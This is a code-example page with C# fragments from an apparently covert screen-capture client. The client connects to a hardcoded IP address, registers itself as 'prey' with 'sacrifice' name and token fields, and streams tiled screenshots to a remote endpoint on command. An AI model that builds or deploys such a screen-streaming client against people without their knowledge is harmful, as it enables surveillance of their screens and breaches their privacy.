コード例 #1
0
 public static void Change_part(string part)
 {
     WhaitAllData.Updatedata = true;
     Resolution.SetPart(Convert.ToInt32(part));
     Console.WriteLine(Resolution.rowlenght);
     //WhaitAllData.stopWatch = true;
     WhaitAllData.restartWatch = false;
     PrtSC.AllImageUpdatePart(Program.server1, WhaitAllData.Ip);
     WhaitAllData.Updatedata = false;
 }
コード例 #2
0
        public static List <byte[]> CutInToParts(Connection server1, IPEndPoint IP)
        {
            WhaitAllData.BAsNum = 1;
            All_image           = new List <byte[]>();
            Image[] array = BaseTool.CutInToParts(PrtSC.GetPrtSC());
            for (byte i = 0; i < array.Length; i++)
            {
                int    index    = (int)i;
                byte[] bitbyte  = BaseTool.ConvertImageToByteArray(array[index]);
                byte[] new_byte = new byte[bitbyte.Length + 1];

                Array.Copy(bitbyte, 0, new_byte, 1, new_byte.Length - 1);
                new_byte[0] = i;//добавили координату
                All_image.Add(new_byte);
                //byte[] withimagecomand = imagecomand.Concat(new_byte).ToArray();
                server1.Send_mess(new_byte, IP);
                Thread.Sleep(100);

                while (!WhaitAllData.BAs)
                {
                    while (i >= WhaitAllData.BAsNum)
                    {
                        server1.Send_mess(new_byte, IP);
                        Console.WriteLine("REPEAT SEND " + i);
                        //byte[] rec = server1.Whait_recive(ref IP);
                        //string  BAs = BaseTool.Convertbtst(rec);
                        Thread.Sleep(100);
                        WhaitAllData.BAsNum++;
                    }

                    if (WhaitAllData.NoError)
                    {
                        WhaitAllData.BAsNum--;
                        i--;
                        WhaitAllData.BAs     = true;
                        WhaitAllData.NoError = false;
                    }
                    Thread.Sleep(10);
                    Console.WriteLine(i + " > " + WhaitAllData.BAsNum);
                }

                WhaitAllData.BAs = false;
                Console.Write(i + " to---> " + IP);
            }



            return(All_image);
        }
コード例 #3
0
        public static void _Get_new_screen(Connection server1, IPEndPoint IP)
        {
            bool first = true;

            //  List<byte[]> _update = new List<byte[]>();
            Bitmap[] array = BaseTool.CutInToParts(PrtSC.GetPrtSC());

            for (byte i = 0; i < array.Length; i++)
            {
                int    index   = (int)i;
                byte[] bitbyte = BaseTool.ConvertImageToByteArray(array[index]);
                //File.WriteAllBytes("bitbyte.png", bitbyte);

                //Thread.Sleep(1);
                byte[] new_byte = new byte[bitbyte.Length + 1];
                Array.Copy(bitbyte, 0, new_byte, 1, new_byte.Length - 1);
                new_byte[0] = i;//добавили координату
                while (WhaitAllData.Updatedata)
                {
                    Thread.Sleep(1);
                }
                if (All_image.Count != array.Length)
                {
                    array = BaseTool.CutInToParts(PrtSC.GetPrtSC());
                    i     = 0;
                    continue;
                }
                if (!All_image[(int)i].SequenceEqual(new_byte))
                {
                    if (first)
                    {
                        server1.Send_mess(BaseTool.Convertbtst("update_data"), IP);
                        first = false;
                    }
                    //Console.WriteLine(i);
                    server1.Send_mess(new_byte, IP);
                    //Console.WriteLine(new_byte.Length);
                    //File.WriteAllBytes("test.bin", new_byte);
                    All_image[(int)i] = new_byte;
                    Thread.Sleep(100);
                }
                //  _update.Add(new_byte);
            }
            if (!first)
            {
                server1.Send_mess(BaseTool.Convertbtst("stop_update_data"), IP);
            }
        }
コード例 #4
0
        public static void Start(int i)
        {
            Size sz = PrtSC.GetSizeScreen();
            //Thread.Sleep(10000);
            Bitmap bm1 = PixelGrabb.CreateScreenCapture(0, 0, sz.Width, sz.Height);

            bm1.Save("1.bmp");
            //Thread.Sleep(1);
            Bitmap bm2 = PixelGrabb.CreateScreenCapture(0, 0, sz.Width, sz.Height);

            bm2.Save("2.bmp");
            Rectangle rc = new Rectangle();

            rc = PixelGrabb.GetChangeArea(bm1, bm2);
            if (rc.Width != -1)
            {
                Bitmap nwbtmp = BaseTool.CropImage(bm2, rc);
                nwbtmp.Save("change.bmp");
            }
        }
コード例 #5
0
        public static List <byte[]> AllImageUpdatePart(Connection server1, IPEndPoint IP)
        {
            All_image = new List <byte[]>();
            Image[] array = BaseTool.CutInToParts(PrtSC.GetPrtSC());
            for (byte i = 0; i < array.Length; i++)
            {
                int    index    = (int)i;
                byte[] bitbyte  = BaseTool.ConvertImageToByteArray(array[index]);
                byte[] new_byte = new byte[bitbyte.Length + 1];

                Array.Copy(bitbyte, 0, new_byte, 1, new_byte.Length - 1);
                new_byte[0] = i;//добавили координату
                All_image.Add(new_byte);
                //byte[] withimagecomand = imagecomand.Concat(new_byte).ToArray();
                server1.Send_mess(new_byte, IP);
                Thread.Sleep(10);
                Console.Write(i);
            }

            return(All_image);
        }
コード例 #6
0
        static void Main(string[] args)
        {
            WhaitAllData.Updatedata = false;
            //byte[] t = new byte[2];
            //t = BitConverter.GetBytes((int)259);
            //int j=0;
            //while (true)
            //{
            //    testRFB.Start(j++);
            //}
            Prey _My;

            server1 = new Connection("195.128.124.171", 19999);//("195.128.124.171", 19999);
            if (server1.isConnect)
            {
                _My = new Prey(server1);
                Console.WriteLine(_My.Name_sacrifice + " " + _My.Token_sacrifice);
                server1._SendPreyOnline(_My);
                Console.WriteLine("Ожидаем команды");
                // IPEndPoint ipclient = Connection._WhaitAutorization(server1);
                // PrtSC.StartPrtSC(server1, ipclient);
                Start_recive();

                while (true)
                {
                    while (!WhaitAllData.ForPreyConnect)
                    {
                        //string mess=BaseTool.Convertbtst(  server1.Whait_recive());
                        //  if(BaseTool._GetArrSplit( mess)[0]=="OK")
                        //  {
                        //      break;
                        //  }
                        Thread.Sleep(1);
                    }

                    while (!WhaitAllData.startWatch)
                    {
                        //string mess=BaseTool.Convertbtst(  server1.Whait_recive());
                        //  if(BaseTool._GetArrSplit( mess)[0]=="OK")
                        //  {
                        //      break;
                        //  }
                        Thread.Sleep(1);
                    }


                    IPEndPoint ipclient = WhaitAllData.Ip;
                    PrtSC.CutInToParts(server1, ipclient);
                    WhaitAllData.restartWatch = false;


                    while (!WhaitAllData.stopWatch)
                    {
                        //WhaitAllData.Updatedata = true;
                        PrtSC.Update(server1, ipclient);

                        //WhaitAllData.Updatedata = false;
                        Thread.Sleep(Resolution.speed);
                    }

                    WhaitAllData.stopWatch      = false;
                    WhaitAllData.startWatch     = false;
                    WhaitAllData.ForPreyConnect = false;
                }
            }
            //ожидаем ответа от клиента

            else
            {
                Console.WriteLine("Сервер недоступен!");
                Console.ReadLine();
            }
        }